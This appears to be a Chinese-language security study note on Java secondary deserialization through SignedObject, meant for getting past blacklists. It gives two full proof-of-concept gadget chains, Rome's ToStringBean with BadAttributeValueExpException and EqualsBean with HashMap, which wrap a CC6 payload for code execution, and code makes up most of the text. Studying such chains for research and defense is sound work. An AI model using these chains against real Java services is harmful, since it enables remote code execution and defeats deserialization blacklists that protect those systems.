前言
参考:
https://stoocea.github.io/post/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html
二次反序列化大多数时候是用来绕过黑名单的限制或不出网利用或者绕过一些loadClass()
不能够加载数组的问题,不会作为一条单独且完整的利用链存在,而是作为一个中间节点,用来绕过
一般来说有这几个常见的利用类:SignedObject、RMIConnector、WrapperConnectionPoolDataSource
SignedObject
这是java.security
下一个用于创建真实运行时对象的类,更具体地说,SignedObject
的参数中需要一个Serializable
对象
主要看 getObject
这里有一个 readObject,而构造方法里序列化数据传入的参数也是可控的
这里 content 是一个 byte 型数组 private byte[] content;
参数可控,能够包含一个 serializeObject 并反序列化
先构造一个 SignedObject 调用 getObject() ,恶意对象选择 cc6 的 hashmap
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(CC6EXP.getPayload(), kp.getPrivate(), Signature.getInstance("DSA"));
signedObject.getObject();
接下来就需要找一个能够调用 getObject() 的链
作为一个 getter 方法,首先想到的就是像 fastjson,rome 这种会调用任意 getter 方法的链子
Rome链
Rome 中获取 getter 方法并调用的逻辑有两处地方,ToStringBean 的有参 toString 方法,Equalsbean 的 beanEquals 方法
唯一一个前提是无参,而 getObject 就是无参函数
ToStringBean
以 BadAttributeValueExpException 这条来拼好链(因为短),那么调用栈为:
SignedObject#getObject()
ToStringBean#toString(String)
ToStringBean#toString()
BadAttributeValueExpException#readObject()
poc:
package com.example;
import com.sun.syndication.feed.impl.ToStringBean;
import java.security.Signature;
import javax.management.BadAttributeValueExpException;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.SignedObject;
public class RomeChain {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(CC6EXP.getPayload(), kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(toStringBean);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
EqualsBean
套公式即可,序列化的过程中就会弹一次计算器
package com.example;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.security.*;
import java.util.HashMap;
public class RomeEqualChain {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(CC6EXP.getPayload(), kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"0w0");
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}